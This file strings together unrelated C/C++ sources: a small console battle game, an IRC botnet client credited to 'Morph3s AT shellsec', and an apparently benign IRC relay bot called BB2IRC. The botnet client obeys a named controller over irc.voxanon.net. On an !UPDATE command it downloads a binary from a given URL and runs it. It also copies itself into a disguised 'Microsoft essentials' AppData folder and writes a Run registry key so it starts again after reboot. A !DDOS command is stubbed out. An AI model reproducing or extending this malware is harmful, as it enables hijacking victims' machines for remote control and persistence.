#include <iostream>

#include <Windows.h>

#include <cstdlib>



using namespace std;



void attackPlayer();

void attackMob();

void initialize();



struct playerInfo{

	int life;

	int damageFrom;

	int damageTo;

}mob, player;





int main(char *args){



	initialize();

	int roundNum = 0;

	while(true){

		int choice;

		cout << "What to do? Attack(1) Forfeit(2): ";

		cin >> choice;

		if(choice == 1){

			cout << "Attacking!" << endl;

			cout << "Round: " << roundNum << endl;

			roundNum++;	

			attackPlayer();

			attackMob();

		}else if(choice == 2){

			break;

		}

	}

}



void initialize(){

	mob.life = 200;

	mob.damageFrom = 10;

	mob.damageTo = 50;

	player.life = 210;

	player.damageFrom = 18;

	player.damageTo = 25;



}



void attackPlayer(){

	int diff = mob.damageTo - mob.damageFrom;

	int damageC = rand() %  diff + mob.damageFrom;

	cout << "Mob has engaged in attacking player. Mob does " << damageC << " damage" << endl;

	player.life = player.life - damageC;

	if(player.life <= 0){

		cout << "Player died and mob won!";

		int pauseVar;

		cin >> pauseVar;

		exit(1);

	}

	cout << "Player life: " << player.life << endl;

}



void attackMob(){

	int diff = player.damageTo - player.damageFrom;

	int damageC = rand() %  diff + player.damageFrom;

	cout << "Player is attacking mob. Player does " << damageC << " damage" << endl;

	mob.life = mob.life - damageC;

	if(mob.life <= 0){

		cout << "Mob died and player won!";

		int pauseVar;

		cin >> pauseVar;

		exit(1);

	}

	cout << "Mob life: " << mob.life << endl;

}

/*



AT Coded by: 		  		Morph3s AT shellsec

AT Version: 					0.2

AT Project start date:  		4/25/2013

AT Purpose:					Save me from boredom on a wednesday night



*/





#include <stdio.h>

#include <unistd.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <stdlib.h>

#include <string.h>

#include <netdb.h>

#include <string>

#include <sstream>

#include <iostream>

#include <map>

#include "addstartup.h"

#include "update.h"

#include "tools.h"



#define MAX_SIZE 1024   // Max size for receiving buffer

char hostname[] = "irc.voxanon.net"; // Define the IRC hostname





std::string controller = ":Morph3s!Morph3sATshellsec.pw";   // Who should control the bot ? 

std::string botname = "[rootkit]BOT";						// The bot standard name. Numbers will be added to make name unique

std::string channame = "#bottest";							// The channel it shoul join



int sock_descriptor; // integer number to access socket

struct sockaddr_in serv_addr; // uses predefined sockaddr_in struct

struct hostent *server; // from netdb.h to determine host name out of ip address

char recvBuff[MAX_SIZE];  // Receiving buffer 

std::map<std::string, int> commands;





int CMDARRSIZE = 0;



int recieveHandlingCommand(std::string *strArrs, int where);

int findWord(std::string, std::string);

int initializeBot();

int startListening();

int cleanUp();

int initializeCommands();

int sendMessage(char message[]);

int sendAuth();

int showHelp();

int ddos(std::string *strArrs, int where);

int updateBot(std::string *strArrs, int where);

std::string* tokenizer(char buff[]);



char *stringToChar(std::string target);





int main(){



	std::cout << "Morph3s IRC bot." << std::endl;

	initializeCommands();

	initializeBot();

	startListening();



	cleanUp();

}







char *stringToChar(std::string target){

	

	char *charfi = new char[target.size()+1];

	memcpy(charfi, target.c_str(), target.size()+1);

	return charfi;

}



int sendMessage(char message[]){

	std::cout << "SEND: " << message << std::endl;

	write(sock_descriptor, message, strlen(message));

	return 0;

}

int cleanUp(){

	close(sock_descriptor);

}





std::string* tokenizer(char buff[]){



	//Counting fase:

	int count = 0;

	std::istringstream inputSplit(recvBuff);

	std::string command;

	while(inputSplit){

		inputSplit >> command;

		count++;

	}





	std::string *stringArr = new std::string[count];

	std::cout << "COUNT EQUALS: " << count << std::endl;

	count = 0;

	std::istringstream inputSplit2(recvBuff);

	std::string command2;

	while(inputSplit2){



		inputSplit2 >> command2;

		stringArr[count] = command2;

		//std::cout << "ITERATING OVER: " << command2 << "   NUMBER IS: " << count << std::endl;

		count++;

 	}



 	CMDARRSIZE = count;

 	return stringArr;

}



int initializeCommands(){

	commands["Auth"] = 1;  // Send authentication messages

	commands["PING"] = 2;  // Send a pong

	commands["PRIVMSG"] = 3; // You got a private message.

	commands[controller] = 4; // Who's the botherder 

	commands[":!DDOS"] = 5; // DDoS something 

	commands[":!UPDATE"] = 6; // Update file

	commands[":!HELP"] = 7; // Show help file

}



int startListening(){

	

	while(true){

		memset(recvBuff, 0, MAX_SIZE);

		if(read(sock_descriptor, recvBuff, sizeof(recvBuff)-1) > 0){

			std::cout << "RECV: " << recvBuff << std::endl;

		}else{

			return 0;

		}



		std::string* strArr = tokenizer(recvBuff);

		for(int a=0; a<CMDARRSIZE;a++){

			//std::cout << "Checking for: " << strArr[a] << " in " << commands[strArr[a]] << std::endl;

			switch(commands[strArr[a]]){

				case 1:

					sendAuth();

					break;

				case 2:

					sendMessage("PONG");

					break;



				case 3:

					break;

				case 4:

					recieveHandlingCommand(strArr, a);

					break;

			}

		}

	}

}





int recieveHandlingCommand(std::string *strArrs, int where){





	std::cout << "Here it is: " << strArrs[where] << std::endl;

	







	//We are getting a message from the botherder

	if(findWord(strArrs[(where+1)], "PRIVMSG")){

		std::cout << "FOUND" << std::endl;

		std::cout << "Here is: " << commands[strArrs[(where+3)]] << std::endl;

		std::cout << "Here is: " << commands[strArrs[(where+2)]] << std::endl;

		std::cout << "Here is: " << commands[strArrs[(where+1)]] << std::endl;

		switch(commands[strArrs[(where+3)]]){

			case 5:

				ddos(strArrs, where+3);

				break;

			case 6:

				updateBot(strArrs, where+3);

				break;

			case 7:

				showHelp();

				break;	

		}	

	}

}





int showHelp(){

	sendMessage(stringToChar("PRIVMSG "+channame+" :Coded by Morph3sATshellsec\n\r"));

	sendMessage(stringToChar("PRIVMSG "+channame+" :***COMMANDS***\n\r"));

	sendMessage(stringToChar("PRIVMSG "+channame+" :!DDOS <target> <port> <method>\n\r"));

	sendMessage(stringToChar("PRIVMSG "+channame+" :!UPDATE <url>\n\r"));

	sendMessage(stringToChar("PRIVMSG "+channame+" :More info at www.shellsec.pw\n\r"));

}





// DDoS Function ready to be added

int ddos(std::string *strArrs, int where){

	std::string target = strArrs[where+1];

	std::string port = strArrs[where+2]; 

	std::string method = strArrs[where+3];

	

	sendMessage(stringToChar("PRIVMSG "+channame+" :Engaged DDOS against: "+target+":"+port+" with "+method+"\n\r"));



}



// Update code ready to be added

int updateBot(std::string *strArrs, int where){

	std::string url = strArrs[where+1];;

	sendMessage(stringToChar("PRIVMSG "+channame+" :Updating bot with new source from: "+url+"\n\r"));

	updateBotFunc(url);

}

//Authenticate with irc server. Just basic commands

int sendAuth(){

	sendMessage(stringToChar("NICK "+botname+"\n\r"));

    sendMessage(stringToChar("USER "+botname+" 8 *:Lulz da machine\n\r"));

    sendMessage(stringToChar("JOIN "+channame+"\n\r"));



}

int initializeBot(){

	// Setting unique bot name

	int lol = addToStartup();

	srand(time(NULL));

	int uniq = rand() % 1000 + 1;

	std::cout << "THIS IS UNIQUE" << uniq << std::endl;

	// Setting sockets

	sock_descriptor = socket(AF_INET, SOCK_STREAM, 0); // SOCK_STREAM = TCP, AF_INET = DOMAIN

	if(sock_descriptor < 0){

		std::cout << "Failed creating socket\n" << std::endl;

	}

	bzero((char *)&serv_addr, sizeof(serv_addr));

	server = gethostbyname(hostname);

	if(server==NULL){

		std::cout << "Failed to find server name" << std::endl;

		return 0;

	}

	serv_addr.sin_family = AF_INET;

	memcpy((char *) &(serv_addr.sin_addr.s_addr), (char *)(server->h_addr), server->h_length);



	serv_addr.sin_port = htons(6667);  // Ensures integer interpretion is correct

	if(connect(sock_descriptor, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0){

		std::cout << "Failed to connect to server" << std::endl;

	}else{

		std::cout << "Succesfully connected" << std::endl;

	}



}



int findWord(std::string text, std::string word){

	if(std::string::npos != text.find(word)){

		return 1;

	}else{

		return 0;



	}

	

}

#ifndef ADDSTARTUP_H

#define ADDSTARTUP_H



int addToStartup();





#endif

#include <iostream>

#include <windows.h>

#include <sstream>

#include <stdio.h>

#include <string.h>

#include <cstdlib>

#include "tools.h"



using namespace std;







string folderName = "C:\\Users\\"+getUsername()+"\\AppData\\Local\\Microsoft essentials";





int addToStartup(){



	string filenamecor = findCurrentFilename();



	//Check if folder is there. If not create it. 

	if(CreateDirectory(folderName.c_str(), NULL)){



	}else{

		cout << "Could not create folder. I'll assume it's already there" << endl;

		return 0;

	}

	

	//Move file to dir

	

	char *fileName = (char *)filenamecor.c_str();

	cout << "Filename is: " << fileName << endl;

	string path = "C:\\Users\\"+getUsername()+"\\AppData\\Local\\Microsoft essentials\\lol.exe\0";

	if(CopyFile(fileName, path.c_str(), true)){

		cout << "Succesfully moved file" << endl;

	}



	//Folder is valid. Create key

	HKEY key;

	DWORD dwDisposition; 

	if((RegCreateKeyEx(HKEY_CURRENT_USER, TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, NULL, 0, KEY_WRITE, NULL, &key, &dwDisposition))==ERROR_SUCCESS){

		DWORD dwType, dwSize;

		dwSize = path.size();

		RegSetValueEx(key, TEXT("Microsoft essentials"), 0, REG_SZ, (LPBYTE)path.c_str(), dwSize);

  		RegCloseKey(key);

		cout << "Succesfully created key!";

	}else{



		cout << "Could not create key!";

	}





}

#ifndef UPDATE_H

#define UPDATE_H



#include <string>



int updateBotFunc(std::string);





#endif

#include <fstream>

#include <stdio.h>

#include <unistd.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <stdlib.h>

#include <string.h>

#include <netdb.h>

#include <string>

#include <sstream>

#include <iostream>

#include <map>

#include <windows.h>

#include "tools.h"



using namespace std;

#define MAX_SIZE 1024   // Max size for receiving buffer





string updatedFilePath;

string executePath;





int updateServer(string);

void executeFile();



int updateBotFunc(string updateUrl){

	cout << "Welcome to the update function" << endl;

	

	//Renaming old file to make room for new one.

	string filenamecor = findCurrentFilename();

	string filenamecore = filenamecor + ".old";

	rename(filenamecor.c_str(), filenamecore.c_str());





	updatedFilePath = "C:\\Users\\"+getUsername()+"\\AppData\\Local\\Microsoft essentials\\" + filenamecor;

	executePath = "C:/Users/"+getUsername()+"/AppData/Local/\"Microsoft essentials\"/" + filenamecor;

	

	string host = updateUrl;

	if(updateServer(host)){

		executeFile();

	}

}

int updateServer(string updateUrl){

	char *buff = (char*)updateUrl.c_str();	

	const char* delim = "/";

	string path = strstr(buff, delim);

	string hstnameString = updateUrl.substr(0, (updateUrl.size()-path.size()));

	int sock_descriptor; // integer number to access socket

	struct sockaddr_in serv_addr; // uses predefined sockaddr_in struct

	struct hostent *server; // from netdb.h to determine host name out of ip address

	char recvBuff[MAX_SIZE];  // Receiving buffer 

	char *hostname; 

	hostname = (char*)hstnameString.c_str(); // Location of file



	// Http request to retrieve file

	string requests = "GET "+path+" HTTP/1.0\n"

					"Host: "+hstnameString+"\n"

					"Connection: keep-alive\n"

					"Cache-Control: no-cache\n"

					"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\n"

					"Pragma: no-cache\n"

					"User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31\n"

					"Accept-Encoding: gzip,deflate,sdch\n"

					"Accept-Language: en-GB,en;q=0.8,en-US;q=0.6,da;q=0.4\n"

					"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\n";



	char *req = (char*)requests.c_str();



	sock_descriptor = socket(AF_INET, SOCK_STREAM, 0); // SOCK_STREAM = TCP, AF_INET = DOMAIN

	if(sock_descriptor < 0){

		cout << "Failed creating socket\n" << endl;

		return 0;

	}



	bzero((char *)&serv_addr, sizeof(serv_addr));

	server = gethostbyname(hostname);

	if(server==NULL){

		cout << "Failed to find server name" << endl;

		return 0;

	}



	serv_addr.sin_family = AF_INET;

	memcpy((char *) &(serv_addr.sin_addr.s_addr), (char *)(server->h_addr), server->h_length);

	serv_addr.sin_port = htons(80);  // Ensures integer interpretion is correct

	if(connect(sock_descriptor, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0){

		cout << "Failed to connect to server" << endl;

		return 0;

	}else{

		cout << "Succesfully connected" << endl;

	}

	

	cout << "SEND: " << req << endl;

	write(sock_descriptor, req, strlen(req));

	bool isFile = false;

	ofstream outFile;

	outFile.open(updatedFilePath.c_str(), ios::out | ios::binary);

	int bytes;

	const char* phrase = "\r\n\r\n";

	while(true){

		memset(recvBuff, 0, MAX_SIZE);

		if((bytes = read(sock_descriptor, recvBuff, sizeof(recvBuff)-1)) > 0){

					if(isFile){

						outFile.write(recvBuff, bytes);

						

					}else{

						char *remain = strstr(recvBuff, phrase);

						remain += 4;

						int len = bytes - (remain - recvBuff);

						outFile.write(remain, len);

						isFile = true;

					}

		}else{

			outFile.close();

			cout << "Returning here";

			return 1;

		}

	}

	outFile.close();

	cout << "finished";

	return 1;

}





void executeFile(){

	int status;

	if(system(NULL)){

		status = system(executePath.c_str());

		if(status==0){

			exit(0);

		}

	}else{

		return;

	}

}

#ifndef TOOLS_H

#define TOOLS_H



#include <string>



std::string findCurrentFilename();

std::string getUsername();



#endif

#include <string>

#include <iostream>

#include <stdlib.h>

#include <windows.h>

using namespace std;

std::string findCurrentFilename(){



	std::string filenamecor;

	TCHAR dynFilename[MAX_PATH];

	GetModuleFileName(NULL, dynFilename, MAX_PATH);

  	char * pch;

 

 	pch = strtok (dynFilename,"\\");

 	while (pch != NULL){

   		filenamecor = pch;

   		pch = strtok (NULL, "\\");

   		

  	}

  	return filenamecor;

}



std::string getUsername(){

	string username = getenv("USERNAME");

	return username;

}

#include <iostream>

#include <sys/socket.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <netdb.h>

#include <sstream>

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <vector>

#include <unistd.h>

#include <errno.h>

#include <arpa/inet.h>  

#include <fcntl.h>



using namespace std;



static const string IRC_IP = "208.64.123.83"; // IP of the IRC server, this one is irc.voxanon.net

static const int IRC_PORT = 6667; // Port of the IRC server (SSL/TLS IS NOT SUPPORTED)

static const string NSNAME = "NickServ"; // Name of the nickname service (Normally nickserv, but sometimes nickserv @ service.network.tld, CASE SENSITIVE)

static const string NICKNAME = "Shellsec"; // Nickname of the bot

static const string NICKPASS = ""; // Password for nickserv. Leave empty if nick isn't registered

static const string CHANNEL = "Shellsec"; // Name of IRC channel (No hashtag)

static const string INC_IP = "127.0.0.1"; // IP address for incoming connections (Messages to forward)

static const int INC_PORT = 6111; // Port for incoming connections

static const string INC_DELIM = ";"; // Newline character in incoming stream.



bool SetSocketBlockingEnabled(int fd, bool blocking)

{

   if (fd < 0) return false;



#ifdef WIN32

   unsigned long mode = blocking ? 0 : 1;

   return (ioctlsocket(fd, FIONBIO, &mode) == 0) ? true : false;

#else

  int flags = fcntl(fd, F_GETFL, 0);

  if (flags < 0) return false;

  flags = blocking ? (flags&~O_NONBLOCK) : (flags|O_NONBLOCK);

  return (fcntl(fd, F_SETFL, flags) == 0) ? true : false;

#endif

}



class IRC{

    private:

        // Socket File Descriptor

        int sockfd, n, listfd, clientfd;

        

        // Stream buffers

        char recvBuff[1024];

        char listBuff[1024];

        string sendBuff;

        

        // Structure for socket connection address

        struct sockaddr_in irc_addr, list_addr;

        

    public:

        void send(string message){

            sendBuff = message + "\r\n";

            write(sockfd, sendBuff.c_str(), strlen(sendBuff.c_str()));

        }

        

        void open(string ip, int port){

            cout << "Establishing connection\n";

            // Allocate memory for the receiving buffers

            memset(recvBuff, '0', sizeof(recvBuff));

            memset(listBuff, '0', sizeof(listBuff));

            

            // Create IPv4 sockets and check for errors

            if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){

                cout << "Error: Could not create socket\n";

                exit(1);

            }

            cout << "Creating socket for listening";

            if((listfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){

                cout << "Error: Could not create listening socket\n";

                exit(1);

            }

            

            // Specify connection parameters

            // Convert IP address to network format

            if(inet_pton(AF_INET, ip.c_str(), &irc_addr.sin_addr) <= 0){

                cout << "Error: Failed to read IP address\n";

                exit(1);

            }

            

            if(inet_pton(AF_INET, INC_IP.c_str(), &list_addr.sin_addr) <= 0){

                cout << "Error: Failed to read incoming IP address\n";

                exit(1);

            }

            

            // Specify Internet Protocol and port number

            irc_addr.sin_family = AF_INET;

            irc_addr.sin_port = htons(IRC_PORT);

            

            list_addr.sin_family = AF_INET;

            list_addr.sin_port = htons(INC_PORT);

            

            // Attempt to establish a connection using the socket

            if(connect(sockfd, (struct sockaddr *)&irc_addr,sizeof(irc_addr)) < 0){

                cout << "Error: Could not connect to server\n";

                exit(1);

            }

            

            // Attempt to bind the listening socket

            cout << "Binding listener";

            if(bind(listfd, (struct sockaddr *)&list_addr, sizeof(list_addr)) < 0){

                cout << "Error: Failed to bind to listening IP";

                exit(1);

            }

            

            // Start the listener

            cout << "Starting listener";

            if(listen(listfd, 3) < 0){

                cout << "Error: Failed to start listener";

                exit(1);

            }

        }

        

        void poolListener(){

            struct sockaddr_in client_addr;

            socklen_t clilen = sizeof client_addr;

            stringstream stream;

            string word;

            SetSocketBlockingEnabled(listfd, false);

            clientfd = accept(listfd, (struct sockaddr *)&client_addr, &clilen);

            if(clientfd > 0){

                cout << "Client connected, recieving message: ";

                if((n = read(clientfd, listBuff, sizeof(listBuff) - 1)) > 0)

                    listBuff[n] = 0;

                

                stringstream stream(listBuff);

                while( getline(stream, word, ';') ){

                    cout << word << ";";

                    send("PRIVMSG #ShellSec :" + word);

                }

                cout << "\n";

            }

        }

        

        string monitor(){

            istringstream iss;

            

            while(true){

                poolListener();

                if((n = read(sockfd, recvBuff, sizeof(recvBuff) - 1)) > 0)

                    recvBuff[n] = 0;

                    istringstream iss(recvBuff);

                

                    string streampart;

                    

                    do{

                        iss >> streampart;

                        

                        if(streampart == "Auth"){

                            send("NICK " + NICKNAME);

                            send("USER " + NICKNAME + " * * :" + NICKNAME);

                        }

                        if(streampart == "001"){

                            send("JOIN #" + CHANNEL);

                            if(NICKPASS != ""){

                                send("PRIVMSG " + NSNAME + " : IDENTIFY " + NICKPASS);

                            }

                        }

                        if(streampart == "PING"){

                            send("PONG");

                            cout << "\n>PONG\n";

                        }

                        if(streampart == "PRIVMSG"){

                            iss >> streampart;

                            if(streampart == "#ShellSec"){

                                iss >> streampart;

                                if(streampart == ":" + NICKNAME){

                                    send("PRIVMSG #" + CHANNEL + " :Reporting for duty!");

                                }

                            }

                        }

                    }while(iss);

                    

                if(fputs(recvBuff, stdout) == EOF){

                    cout << "Error: Couldn't output to stdout";

                }

                if(n < 0){

                    cout << "Error: Read failed";

                }

            }

        }

} conn;



int main() {

    // Startup message

    cout << "BB2IRC is starting...\n";

    cout << "Made by Doctor Blue\n";

    sleep(3);

    

    conn.open(IRC_IP, IRC_PORT); // Open connection to IRC server

    conn.monitor();

    

    exit(EXIT_SUCCESS);

    return 0;

}